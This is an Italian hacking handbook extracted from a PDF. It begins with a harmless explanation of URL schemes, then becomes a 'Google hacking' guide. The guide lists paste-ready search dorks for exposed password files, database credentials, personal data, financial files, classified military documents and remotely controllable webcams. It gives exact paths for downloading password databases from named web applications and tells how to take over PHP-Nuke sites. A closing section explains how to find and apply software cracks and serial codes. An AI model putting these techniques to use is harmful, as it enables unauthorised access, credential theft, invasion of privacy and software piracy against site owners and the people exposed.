
Questo indirizzo individua il file 3dk24.zip (che, come dice l'estensione, è un

archivio realizzato con PkZip) situato nella directory /SimTel/win3/sysutil/ (sono tre directory una dentro l'altra: notare che SimTel è diverso da simtel!) del computer ftp.coast.net e da trasferire mediante il protocollo FTP e da un si-to FTP anonimo. L'inserimento dell'URL di un file su di un browser provocherà lo scaricamento del file (ossia la copia dal computer remoto al proprio) e una azione che varierà a seconda dell'estensione del file, che può essere configurata dall'utente e che ge-neralmente sarà poi il salvataggio su disco. ftp://ftp.sunet.se/pub/pc/ Questo indirizzo individua la directory (come si desume dalla barra finale: se non ci fosse, individuerebbe un file) denominata pc e contenuta nella directory

pub della root directory del computer ftp.sunet.se, alla quale si vuole accedere tramite il protocollo FTP usato in modo anonimo. L'inserimento in un browser dell'URL di una directory con protocollo FTP pro-voca la visualizzazione dell'elenco dei file contenuti in essa, preceduto in certi casi da messaggi informativi predisposti dall'amministratore del sito remoto. telnet://165.113.211.4:4801 Questo indirizzo individua un collegamento mediante il protocollo TELNET con il computer 165.113.211.4 (individuato non mediante il suo nome letterale, ma mediante il suo indirizzo IP) usando la porta numero 4801. gopher://gopher.polito.it/ Questo indirizzo determina un collegamento con il gopher del Politecnico di To-rino. Verranno presentati una serie di menu che permetteranno di scaricare file di vario tipo. mailto:[email protected] Sui browser che supportano la spedizione di posta, ossia tutti quelli pubblicati negli ultimi due anni, l'immissione di questo indirizzo provoca l'apertura di una finestra nella quale è possibile inserire un messaggio. Il messaggio viene succes-

Page 17: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

17

sivamente spedito, seguendo il protocollo SMTP, all'utente bertola del compu-

ter o dominio athena.polito.it (si veda la sezione sugli E-mail per il significato di @!). news:it.faq

Questo indirizzo individua il newsgroup it.faq, sottintendendo il "nomemacchi-na" (che sarà quindi quello specificato come default nella configurazione del programma che si sta usando per leggere le news). Per altre informazioni sugli URL delle news, si legga la sezione sui newsgroup. file:///C|/Doc/inizio.htm

Il metodo file serve per recuperare file direttamente dal proprio hard disk, senza

usare la rete; in questo caso, l'indirizzo corrisponde al file inizio.htm posto nel-

la directory C:\Doc di un PC con Windows. Si noti che l'indirizzo rispetta co-munque le convenzioni Unix sopra citate: le barre sono state convertite da rove-sciate a diritte, e i due punti - carattere che negli URL, come visto, indica il nu-mero di porta - sono stati convertiti nella barra verticale (quella che, sulle tastiere italiane, è normalmente posta sull'ultimo tasto in alto a sinistra). Le barre iniziali sono tre e non due, in quanto dovrebbero esserci le due barre iniziali, poi il nome della macchina, poi un'altra barra, ma il nome della macchina è sottinteso! Sono stati presentati esempi relativi a tutti i metodi di accesso normalmente usa-ti; in realtà, molti browser recenti utilizzano internamente altri metodi non stan-dard per indicare altri tipi di risorse, che comunque l'utente non dovrebbe utiliz-zare direttamente. In conclusione, va detto che non tutti i programmi usati in rete si servono degli URL per individuare l'oggetto che l'utente desidera. Tipicamente, l'uso degli URL è associato all'uso di un browser: in essi è possibile chiedere al programma di recuperare un oggetto fornendo direttamente l'URL. Invece, se si utilizzano al-tri programmi, ad esempio per la posta, o per il trasferimento di file, o per la let-tura delle news, normalmente verrà chiesto di identificare l'oggetto fornendo le stesse informazioni (nome del computer, nome del file...) in un modo diverso e variabile da programma a programma. La grande innovazione degli URL, che è alla base dell'esplosione di Internet avvenuta negli ultimi due anni, è proprio quella di racchiudere in un unico insieme di caratteri tutte le informazioni neces-sarie per individuare un oggetto messo in rete! 11.13. A cosa servono quegli URL contenenti strani simboli come #, ?, +, % ? Allo scopo di rendere gli URL estremamente flessibili, è possibile includere al loro interno una serie di dati che non riguardano direttamente l'individuazione dell'iperoggetto che con essi si vuole recuperare, ma sono piuttosto informazioni ulteriori che devono essere comunicate dal browser al server e viceversa. In par-ticolare: Il carattere #, posto al termine di un indirizzo che individua un ipertesto, serve ad individuare una particolare posizione (un capitolo, un titolo, una voce di glossa-

Page 18: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

18

rio...) al suo interno; mentre un normale URL ipertestuale provoca da parte del browser la visualizzazione dell'inizio della pagina, un URL di questo tipo farà sì che la pagina venga visualizzata a partire da un punto del testo individuato dalla parola che segue il carattere #, grazie ad una particolare tag inserita in tale punto dell'ipertesto. Un esempio sono gli URL che corrispondono alle singole domande in questa guida! Il carattere ?, posto al termine di un indirizzo che individua - normalmente - un programma CGI, indica che la stringa seguente costituisce una serie di argomenti da passare al programma suddetto: un caso tipico sono i programmi di ricerca nei database, in cui la parte dopo ? tipicamente indica gli argomenti da cercare e al-tre caratteristiche della ricerca, ed è spesso generata da una form precedentemen-te riempita. In alcuni particolari URL, dopo ? può essere posta semplicemente una parola, che viene ricercata all'interno dell'iperoggetto indicato dall'URL (questa possibilità deve essere predisposta dal server; in generale, l'utente non dovrà mai inserire a mano un URL contenente un punto interrogativo). Il carattere + è stato introdotto in quanto l'URL non può contenere spazi, mentre spesso gli argomenti di ricerca posti dopo un punto interrogativo li contengono (si pensi ad esempio ad un nome e cognome, o a più parole...): pertanto il + sosti-tuisce gli spazi all'interno di questi argomenti. Il carattere % serve per inserire negli URL alcuni caratteri speciali che normal-mente non potrebbero essere inseriti, ed è seguito dal codice ASCII del carattere in oggetto, scritto in esadecimale. In generale, a parte forse #, gli utenti non avranno mai la necessità di scrivere un URL contenente questi caratteri: saranno il browser e/o altri iperoggetti a genera-re questi indirizzi.

Page 19: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

19

GOOGLE HAKING

Stringhe di ricerca da copiare e incollare nella mascherina di Google FILTRI Uso di Google Translate monolingue per aggirare i filtri di certi siti: Inglese: http://translate.google.com/translate?u=www.nomesito.com&langpair=en%en inglese-inglese

Italiano: http://translate.google.com/translate?u=www.nomesito.com&langpair=it%it italiano-italiano

Tedesco: http://translate.google.com/translate?u=www.nomesito.com&langpair=de%de tedesco-tedesco TROVA PARENT DIRECTORY Intitle:index.of "parent directory" - Vi appariranno tutti i portali con le directory non protette. Aggiungendo site:urldelsito si può esplorare un singolo sito web. Intitle:index.of "parent directory" images OR image – Come sopra, con ricerca immagini. intitle:index.of etc - Lista di directory contenenti file importanti, come password criptate. TROVA PASSWORD E USERMAME

site:ch filetype:pwd - cerca in siti svizzeri filetype:htpasswd htpasswd Intitle:index of passwd passwd.bak - Per vedere tutti i portali con httpasswd no-protetto. Ma mi pare che si trovino solo pagine dedicate al Google hacking!

Page 20: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

20

TROVA MUSICA

Queste stringhe di ricerca trovano liste di mp3 da scaricare. Completamente le-gale in Svizzera. Basta cambiare cantante/canzone con il nome del cantante o gruppo cercato ed aggiungere eventualmente il titolo della canzone. Copia e incolla nella mascherina Google:

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) "<CANTANTE/CANZONE>" (da Haywirehacking.com) Più semplice:

intitle:index.of Mp3 cantante canzone

intitle:Index of mp3 cantante canzone

Ci si possono risparmiare fatiche copiaincollative con siti di ricerca automatica come:

http://g2p.org/ e http://www.musgle.com/.

TROVA VIDEO O FILMATI intitle:index.of "parent directory" video OR videos TROVA WEBCAM intitle:"Live View / - AXIS" - Tantissime webcam da controllo remoto Axix po-sizionate ed accesse nei posti più strani. inurl:"ViewerFrame?Mode=" - Una marea di telecamere Panasonic in giro per il mondo con addirittura la possibilità di comandarle nella direzione e nello zoom tilt intitle:Live View/-Axisinurl:view/view.shtml - Migliaia di webcam puntate su uffici, fabbriche, negozi. Ecco alcune stringhe da dare in pasto a Google per ricercare le webcam online. WebcamXP -> "my webcamXP server!" Panasonic Cam -> /ViewerFrame?Mode=Motion Toshiba Cam -> "TOSHIBA Network Camera - User Login" Sony Cam -> /home/homeJ.html Canon Cam -> sample/LvAppl Stringhe varie da provare, dal sito www.thenorba.com

Page 21: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

21

HACKER CON GOOGLE:le stringhe segrete

Directory aperte

Obiettivo: Directory non protette

intitle:index.of "parent directory": La ricerca fornisce tutte quelle pagine che hanno come titolo "Index Of" e che contengono all'interno la frase esatta "parent directory"(directory di livello superiore che è solitamente un link con cui risali-

re l’albero dei file sino alla home page del sito.). Il risultato sarà dunque un lun-go elenco di directory con al loro interno decine di migliaia di file, spesso incon-sapevolmente lasciati visibili a tutti dai rispettivi proprietari che li pensavano ben nascosti.

Obiettivo: Immagini in directory non protette

intitle:index.of "parent directory" images OR image

Poniamo di aver bisogno di cercare alcune immagini ma non vogliamo utilizzare i motori tradizionali. Possiamo allora tentare con le moltissime directory zeppe di immagini disponibili sul Web. Ricicliamo il nostro hack 1 e aggiungiamo an-che le parole images OR image. Inserita su Google, la nostra query di ricerca ci ha suggerito più di due milioni e mezzo di pagine. Il difficile sarà solo spulciarle per trovare quello che cerchiamo! Va naturalmente aggiunto che sostituendo ad images qualsiasi parola o frase che identifichi la risorsa da voi cercata si avrà ac-cesso ad un vastissimo campo di informazioni.

Obiettivo: Directory di backup non protette

"Index of /backup"Questa ricerca fornisce un elenco delle directory denomina-te "backup". Queste cartelle spesso contengono le più disparate tipologie di in-formazioni, poiché sono utilizzate come contenitori. Lasciarle sguarnite è sicu-ramente un metodo poco sicuro che potrebbe mettere chiunque in condizione di frugarci dentro alla ricerca di dati utili.

Page 22: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

22

Password e username

Le password – le query d'esempio in Google

"http://*:*@www" site le password alla pagina site, memorizzate nella forma "http://username:password@www..."

filetype:bak inurl:"htaccess|passwd|shadow|ht users"

le copie di backup dei file, in cui si possono trovare le informazio-ni sui nomi degli utenti e le password

filetype:mdb inurl:"account|users|admin|admin istrators|passwd|password"

i file di tipo mdb, che possono contenere le infor-mazioni sulle password

intitle:"Index of" pwd.db i file pwd.dbpossono contenere i nomi degli utenti e

le password codificate

inurl:admin inurl:backup intitle:index.of

le directory contenenti nel nome le parole admine backup

"Index of/" "Parent Directory" "WS _ FTP.ini" filetype:ini WS _ FTP PWD

i file di configurazione del programma WS_FTPche

possono contenere le password ai server FTP

ext:pwd inurl:(service|authors|administrators |users) "# -FrontPage-"

i file contenenti le password del programma Micro-soft FrontPage

filetype:sql ("passwd values ****" | "pas-sword values ****" | "pass values ****" )

i file contenenti il codice SQL e le password ag-giunte al database

intitle:index.of trillian.ini i file di configurazione dell'instant messaging Tril-lian

eggdrop filetype:user user i file di configurazione dell'ircbot Eggdrop

filetype:conf slapd.conf i file di configurazione dell'applicazione OpenLDAP

inurl:"wvdial.conf" intext:"password" i file di configurazione del programma WV Dial

ext:ini eudora.ini i file di configurazione del programma di posta Eu-dora

filetype:mdb inurl:users.mdb i file Microsoft Access, che possono contenere le informazioni sugli account

Page 23: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

23

intext:"powered by Web Wiz Journal"

i siti Web che utilizzano l'applicazione Web Wi-zJournal che nella configurazione standard permet-te di scaricare il file contenente le password; invece dell'indirizzo di default http://<host>/journal/ biso-gna immettere http://<host>/journal/journal.mdb

"Powered by DUclassified" -site:duware.com "Powered by DUcalendar" -site:duware.com "Powered by DUdirectory" -site:duware.com "Powered by DUclassmate" -site:duware.com "Powered by DUdownload" -site:duware.com "Powered by DUpaypal" -site:duware.com "Powered by DUforum" -site:duware.com intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com

i siti Web che utilizzano le applicazioni DUclassi-fied, DUcalendar, DUdirectory, DUclassmate, DU-download, DUpaypal, DUforumo DUpicsche nella configurazione standard permettono di scari-care il file contenente le password; invece dell'indirizzo di default (per DUclassified) http://<host>/duClassified/bisogna immettere http://<host>/duClassified/_private/duclassified.mdb

intext:"BiTBOARD v2.0" "BiTSHiFTERS Bulletin Board"

i siti Web che utilizzano l'applicazione Bitbo-ard2,che nella configurazione standard permette di scaricare il file contenente le password; invece del-l'indirizzo di default http://<host>/forum/ fo-rum.phpbisogna immettere http://<host>/forum/admin/data_ passwd.dat

“Index of/””Parent Directory” “WS _ FTP.ini”

Oppure filetype:ini WS _ FTP PWD

è possibile ottenere una moltitudine di link ai dati ai quali si è interessati,che per nostra ignoranza noi stessi forniamo .Un altro esempio è l’applicazioneWeb chiamata DUclassified, che permette di aggiungere e gestirele pubblicità nei portali Internet.

Nella configurazione standard di questo programma i nomi degli utenti,le password ed altri dati sono conservati nel file duclassified.mdb che si trova nella sottodirectory _private non protetta dalla lettura. Basta allora trovare un portale che utilizza Duclassifield con l’indirizzo d’esempio

http://<host>/duClassified/ e cambiarlo in http://<host>/duClassified/_private/duclassified.mdb, per ottenere in questo modo il file con le password e l’accesso illimitato alle ap-

plicazioni Invece per trovare i siti che utilizzano l’applicazione trattata, può aiutare la query seguente fatta in Google: “Powered by DUclassified” -site:duware.com

Page 24: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

24

(per evitare i risultati riguardanti i siti del produttore). Una cosa curiosa è che, il produttore di Duclassified •la ditta DUware – ha creato altre applicazioni, anch’esse suscettibili ad abusi simili.

È difficile fornire un principio concreto per cercare tali dati, però danno buoni ri-sultati le combinazioni delle parole account, users, admin, administra-tors,passwd, password ecc,con formati di file di tipo .xls, .txt, .doc,.mdb e .pdf. Merita anche rivolgere l’attenzione alle directory che contengono nel nome le parole admin,backup o simili:

inurl:admin intitle:index.of.

Obiettivo: Password di pagine Web

filetype:htpasswd htpasswd Fornisce un lungo elenco di siti che non hanno debitamente protetto il file htpasswd, solitamente uti-

lizzato in ambito Linux/Unix per proteggere singole pagine web con una password e uno user-name.

Obiettivo: Password di sistemi Linux

intitle:index.of passwd passwd.bak Sempre in ambito Unix, è un hack per visualizzare i file di password di sistemi operativi. Il file passwd contiene infatti, spesso tuttavia in forma criptata, le password dei sistemi Linux. L'estensione .bak aggiunta alla seconda chiave di ricerca cerca di scoprire anche le password di backup.

Obiettivo: Password generiche

filetype:dat "password.dat" filetype:log inurl:"password.log" Sono due ricerche che cercano file contenenti password generiche, non create cioè da una specifica

applicazione. L'estensione .dat è generalmente utilizzata da programmi Windows per contenere informazioni di sistema, mentre i file .log sono utilizzati da molti software per le stesse finalità. Cambiando le estensioni con alcune di vostro gradimento si potranno avere anche altre sorprese.

Obiettivo:Password memorizzate in service.pwd di FrontPage: ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-” Obiettivo: Password in

password.log password.list Obiettivo: Usernames, passwords, e indirizzo del databases MySQL nei file .inc filetype:inc intext:mysql_connect

Obiettivo: distruggere i forum phpBB ext:php intext:”$dbms””$dbhost””$dbuser””$dbpasswd””$table_prefix””phpbb_installed”

Dati personali e documenti confidenziali Per trovarli basta eseguire la seguente query: intitle:"curriculum vitae" "phone * * *" "address*" "e-mail". È facile anche trovare dati telematici in forma di elenchi di cognomi, numeri te-

lefonici ed indirizzi e-mail . Questo risulta dal fatto che quasi tutti gli utenti Internet creano rubriche di indi-

rizzi di vario tipo – sono di poca importanza per un comune intruso, però un

Page 25: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

25

abile sociotecnico riuscirà a sfruttarne i dati contenuti, specialmente se ri-guardano i contatti nell'ambito di una ditta. Abbastanza bene in questo caso si comporta per esempio la query:

filetype:xls inurl:"email.xls",

che troverà i fogli di calcolo con il nome email.xls. Una situazione simile si ha con gli instant messaging di rete e le liste dei contatti

memorizzate in essi; In Rete si possono anche trovare dei documenti classifi-cati come segreti e che per questo contengono informazioni riservate. Posso-no essere piante di un progetto, documentazioni tecniche, diversi questionari,

rapporti, presentazioni e una moltitudine di altri documenti interni di una ditta. Si possono distinguare dagli altri tipi di documenti, perché molto spesso con-tengono la parola confidential, la frase Not for distribution o simili . La Ta-bella sotto contiene alcune query d'esempio sui documenti che possono con-tenere dati personali e informazioni confidenziali. Come nel caso delle password, per evitare di rivelare le nostre informazioni private, possiamo sol-tanto usare molta prudenza e controllo sui dati da pubblicare.

La ricerca dei dati personali e dei documenti confidenziali

filetype:xls inurl:"email.xls" i file email.xls, che possono contenere dei dati telematici

"phone * * *" "address *" "e-mail" intitle:"curriculum vitae"

i documenti CV

"not for distribution" confidential i documenti provvisti della classificazione confidential

buddylist.blt gli elenchi dei contatti dell'instant messa-ging AIM

intitle:index.of mystuff.xml gli elenchi dei contatti dell'instant messa-ging Trillian

filetype:ctt "msn" gli elenchi dei contatti MSN

filetype:QDF QDF il database del programma finanziario Qui-cken

intitle:index.of finances.xls i file finances.xls, che possono contenere le informazio-ni sui conti bancari, elenchi fi-nanziari e i numeri delle carte di credito

intitle:"Index Of" -inurl:maillog maillog size i file maillogche possono contenere i mes-saggi email

"Network Vulnerability Assessment Report" "Host Vulnerability Summary Report" filetype:pdf "Assessment Report" "This file was generated by Nessus"

i rapporti della ricerca sulla sicurezza di re-te, dei test di penetrazione ecc.

Page 26: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

26

Obiettivo: Dati privati di connessioni a database

intitle:"index of" intext:connect.inc

intitle:"index of" intext:globals.inc

Anche i database non possono considerarsi sicuri. Le due ricerche proposte pos-sono fornire dati molto dettagliati sulle password e sulle impostazioni utilizzate da MySQL, uno dei database Open Source più diffusi sul Web. La ricerca infatti visualizzerà quelle directory non protette che contengono i file connect.inc o globals.inc solitamente utilizzati dagli sviluppatori per inserire, in formato non crittato, i dati di collegamento ai database, compresi username e password.

Obiettivo: Chiavi di ingresso di canali IRC

sets mode: +k

Questo hack è utilizzato per cercare, nei log file, le password di protezione dei canali IRC. +k è la modalità dei canali di chat che avvisa l'utente delle imposta-zioni ristrette.

Obiettivo: Password di utenti registrati in chat IRC

"Your password is * Remember"

Your password is * Remember

Questa ricerca troverà nella memoria di Google il messaggio che solitamente viene utilizzato dai gestori automatici dei canali di chat per inviare la password all'utente registrato. Da notare il carattere jolly * usato al posto della password da cercare.

Siti vulnerabili

Obiettivo: Forum UBB vulnerabili

ext:cgi inurl:ubb6_test.cgi

Il forum di discussione UBB, molto diffuso nel Web, contiene ad esempio il file ubb6_test.cgi, per gestire alcune operazioni di installazione, che potrebbe com-promettere la stabilità del server se non opportunamente cancellato. L'ammini-stratore del Forum distratto potrebbe anche pensare che nessuno andrà mai a cer-care un tale file sul proprio server, ma non ha pensato a Google. Ext: indica a Google di cercare un file con un'estensione particolare. Obiettivo: Applicazioni vulnerabili in PHP

allinurl:install/install.php

La query ha il fine di cercare tutte quei siti che hanno dimenticato il file d'instal-lazione tra le loro pagine, generalmente chiamato appunto install.php o anche config.php. Con questi file spesso è un gioco da ragazzi cambiare le proprietà del sito, comprese username e password.

Page 27: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

27

Obiettivo: Sistema PHPNuke sprovvisto di account

"There are no Administrators Accounts" inurl:admin.php -

mysql_fetch_row

Chi, dopo aver installato PHP-Nuke, non ha provveduto a creare un account di amministratore, potrebbe vedere visualizzata la pagina "There are no Admini-strators Accounts". Cercarla con Google è un gioco da ragazzi e altrettanto facile sarà avere un sito gestito con PHP-Nuke sotto il nostro completo controllo.

Stampanti e videocamere

Obiettivo: Webcam sul Web

inurl:"ViewerFrame?Mode="

La Panasonic produce alcune videocamere di rete sponsorizzate come il miglior sistema per monitorare la casa, il posto d'ufficio o qualsiasi altro ambiente sem-plicemente attraverso il browser. Cercando con Google la query riportata sopra è possibile visualizzare molte di queste videocamere e scoprire anche nuovi pae-saggi del mondo! intitle:"EvoCam" inurl:"webcam.html"

Come risultato si avranno tutte le pagine di webcam generate da EvoCam, un software molto noto per la gestione delle webcam su computer Macintosh che, senza preoccuparsi del nostro occhio globale, titola le pagine con la parola Evo-Cam e le denomina sempre webcam.html. intitle:"Live View / - AXIS"

La ricerca fornisce un elenco di tutte le videocamere gestite da software Axis. Spesso tale tipo di dispositivi può essere anche controllato sul Web, permettendo a chiunque, se non sono stati eretti i dovuti argini di sicurezza, di manipolarle con l'uso di un semplice browser. Obiettivo: Stampanti Ricoh collegate al Web

inurl:sts_index.cgi

intitle:RICOH intitle:"Network Administration"

Anche le stampanti, le fotocopiatrici e i CD-Rom sono sotto controllo. Con que-ste stringhe è possibile visualizzare le pagine di amministrazioni delle stampanti o delle fotocopiatrici Ricoh che, in rete attraverso una connessione non Intranet, posseggono una propria applicazione web per gestirle e configurarle. Obiettivo: Periferiche CD-Rom collegate al Web

intitle:"axis storpoint CD" intitle:"ip address"

Sempre dalla Axis è prodotto un software che consente di gestire dal Web le pe-riferiche CD-Rom o DVD. Nato per condividere le risorse in alcune reti, ha an-che qualche problemino di sicurezza. Si provi a usare la query descritta sopra per navigare allegramente tra i CD di alcune aziende poco accorte

Page 28: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

28

Documenti, file MP3 e filmati in Divx Obiettivo: File Excel con dati sensibili

filetype:xls inurl:"email.xls"

filetype:xls username password

filetype:xls private OR reserved La prima query restituisce documenti Excel contenenti e-mail; il secondo è un hack che potrebbe restituire documenti contenti nomi e password di accesso; il terzo potrebbe rintracciare documenti privati o riservati. Obiettivo: Documenti word "pericolosi"

filetype:doc site:mil + classified

Sempre come esempio di altre applicazione, abbiamo associato alla ricerca per tipo di file anche una restrizione di ambito. site:.mil imposta il motore di ricerca per cercare documenti Word, con la parola "classified" (ossia 'protocollato') solo nei siti con estensione .mil, ossia i siti gestiti da organismi militari. Non dobbia-mo aggiungere che una ricerca di questo tipo può essere molto pericolosa. Obiettivo: File MP3

?intitle:index.of? mp3

intitle:"index of" -inurl:htm -inurl:html mp3

intitle:index.of /AlbumArt_

Anche i file MP3 hanno la loro antologia di query da mettere subito in atto. Con questa ricerca si ottiene la lista di quelle directory non protette che contengono file MP3. Facendo seguire a MP3 anche il titolo del brano o il nome dell'artista, con qualche fortuna potremmo trovare anche siti che contengono una canzone specifica. Il secondo esempio è una versione più raffinata dello stesso hack che filtra i risultati dalle pagine inutili. L'ultimo restringe il risultato ai file generati da Windows Media Player (AlbumArt_ è una query con cui il software nomina le copertine dei CD). Obiettivo: Ricerca video

"parent directory" video

Le regole descritte per i file MP3 potrebbero valere anche per altri formati. Ese-guendo ad esempio questa query, il sistema ci restituirà pagine e pagine che al loro interno contengono filmati nei formati compressi più noti sul Web.

Page 29: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

29

RICERCA CRACK

COS'E' UN CRACK? Il crack non è nient'altro che un piccolo programma che "protegge" il cd , cosic-ché sarà possibile l'utilizzo del programma anche senza il supporto originale. Molti programmi e videogiochi quest'oggi sono protetti in maniera molto agguer-rita, ed è possibile "clonare" questi giochi solo se si dispone di un particolare hardware molto sofisticato. Non tutti però possono permettersi di acquistare ma-sterizzatori da 500€, ed è per questo che bisogna ricorrere a dei metodi per aggi-rare le protezioni più difficili. Il metodo più adatto è l'utilizzo dei crack.

COME SI RICERCA UN CRACK? Il metodo standard per cercare un crack o un codice seriale nel web è quello di utilizzare i motori di ricerca. Come motori di ricerca intendo esclusivamente GOOGLE.COM

Come Procedere? Supponiamo che abbiamo appena istallato un CD masterizzato di giochi (ad esempio FIFA2004) ed ora ci occorre il crack per farlo funzionare. Nel TOOL di ricerca di GOOGLE inseriremo la parola chiave "fifa2004.exe" (comprese le virgolette) che in questo caso rappresenta il crack. Questa ricerca purtroppo non è una cosa facile e col tempo sta diventando sempre più difficile, difatti la distribuzione dei crack e/o dei codici seriali è severamente vietata in gran parte del mondo, ed i siti che offrono queste risorse stanno tutte chiudendo. Ma nonostante tutto ci sono anche molti siti soprattutto stranieri che ancora of-frono queste "risorse" gratuitamente. Uno sito in particolare va nominato:

MSCRACKS.COM

RICERCARE CODICI SERIALI A volte dopo aver istallato un programma o un gioco masterizzato ci occorre il codice seriale per farlo funzionare correttamente. Questo è il sito ideale per cer-care tutti i codici seriali presenti nel web. Il sito è in lingua inglese ed è uno dei migliori nel web. Si Consiglia la visualizzazione di questo sito con un buon antivirus, in quanto al

caricamento della pagina si caricano alcuni POP-UP con degli script poten-

zialmente dannosi.

http://www.serials.ws

Page 30: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

30

COME SI APPLICANO I CRACK? Copiare innanzitutto il contenuto del cd sull'hard disk. Per fare ciò si può procedere in questo modo: 1. Utilizzare i copia/incolla (questo metodo non funziona se sul cd ci sono dei settori difettosi o dei "Dummy Files", ovvero files non leggibili). Dopo aver copiato il contenuto del cd sull' Hard Disk, si applica il crack al file eseguibile principale. (di solito è il file di applicazione .EXE) 2. Istallare direttamente il programma o il videogioco sul vostro Hard Disk (Di solito il file di istallazione si chiama SETUP.EXE). Dopo aver installato il contenuto del cd sull Hard Disk, si applica il crack al file eseguibile principale. (di solito è il file di applicazione .EXE) Come applicare il crack utilizzando il metodo 1: Potete trovare due tipi di crack: - Un crack che sostituisce l'eseguibile (questo in genere ha lo stesso nome dell'e-seguibile, dovete estrarlo direttamente nella cartella del vostro HD dove avete copiato l'eseguibile originale e sovrascriverlo). - Un crack che "patcha" l'eseguibile; dovete estrarlo nella cartella con l'eseguibile originale e avviarlo. Al termine del processo di patching riceverete un messaggio del tipo "File XXX patched successfully", o qualcosa del genere. Se ricevete messaggi di errore dovrete scaricare un altro tipo di crack.

Welcome to the Google Hacking Database (GHDB)!

Un elenco già pronto di ricerce avanzate con google tali per cui vi sarà possibile trovare contenuti più o meno segreti condivisi erroneame. Cosa si può trovare?

• Un numero spropositato di webcam pubbliche… alcune delle quali con la funzione PAN and TILT che permettono di muovere la webcam lun-go gli assi e zoomare.

• Files con password • Indirizziari email • Dump di database • File di configurazione con le credenziali di accesso • Stampanti di rete accessibili via web • etc… etc…

Collegarsi al sito http://www.hackersforcharity.org/ghdb/ In base a quello che cerchiamo aprire i collegamenti e provare: buona fortuna!

Page 31: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

31

Advisories and Vulnerabilities (215 entries) These searches locate vulnerable servers. These searches are often generated from various security advisory posts, and in many cases are product or version-specific.

Error Messages (68 entries) Really retarded error messages that say WAY too much!

Files containing juicy info (230 entries) No usernames or passwords, but interesting stuff none the less.

Files containing passwords (135 entries) PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!

Files containing usernames (15 entries) These files contain usernames, but no passwords… Still, google finding usernames on a web site..

Footholds (21 entries) Examples of queries that can help a hacker gain a foothold into a web server

Pages containing login portals (232 entries) These are login pages for various services. Consider them the front door of a website’s more sensitive functions.

Pages containing network or vulnerability data (59 entries) These pages contain such things as firewall logs, honeypot logs, network information, IDS logs… all sorts of fun stuff!

sensitive Directories (61 entries) Google’s collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!

sensitive Online Shopping Info (9 entries) Examples of queries that can reveal online shopping info like customer data, suppliers, orders, creditcard numbers, credit card info, etc

Various Online Devices (201 entries) This category contains things like printers, video cameras, and all sorts of cool things found on the web with Google.

Page 32: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

32

Vulnerable Files (57 entries) HUNDREDS of vulnerable files that Google can find on websites…

Vulnerable Servers (48 entries) These searches reveal servers with specific vulnerabilities. These are found in a different way than the searches found in the “Vulnerable Files” section.

Web Server Detection (72 entries) These links demonstrate Google’s awesome ability to profile web servers.. Advanced Dork Estensione FIREFOX (Compatibile con Firefox 1.0 - 3.6a1pre)

https://addons.mozilla.org/it/firefox/addon/2144?application=firefox&id=2144&vid=13150 Si chiama Advanced Dork l'estensione per Firefox che non può mancare nella cassetta degli attrezzi del Google hacker. Con questo plugin è possibile utilizzare gli operatori di ricerca avanzati di Google: intitle: inurl: intext: site: ext: filetype:. Basta selezionare la parola da cercare, cliccare con il tasto destro e dal menu contestuale scegliere l'operatore che fa al caso nostro. (da http://www.ossblog.it/post/659/google-hacking-con-unestensione-per-firefox )

Google Hacking e Guida all’uso – Parte prima

In questa prima parte andremo ad analizzare il funzionamento del grande motore di ricerca come metodo di hacking diretto (trovando password , user ed accessi privati senza sforzo) o come hacking indiretto (cercando pagine di accesso o server vulnerabili). Ecco cosa affronteremo in questo primo articolo dedicato a google

1. Servizi base ed operatori avanzati di google 2. Introduzione alla parte pratica (hacking) 3. Google Hacking: Pratica (I)

Operatori Base (USO: OERATORE STRINGA)

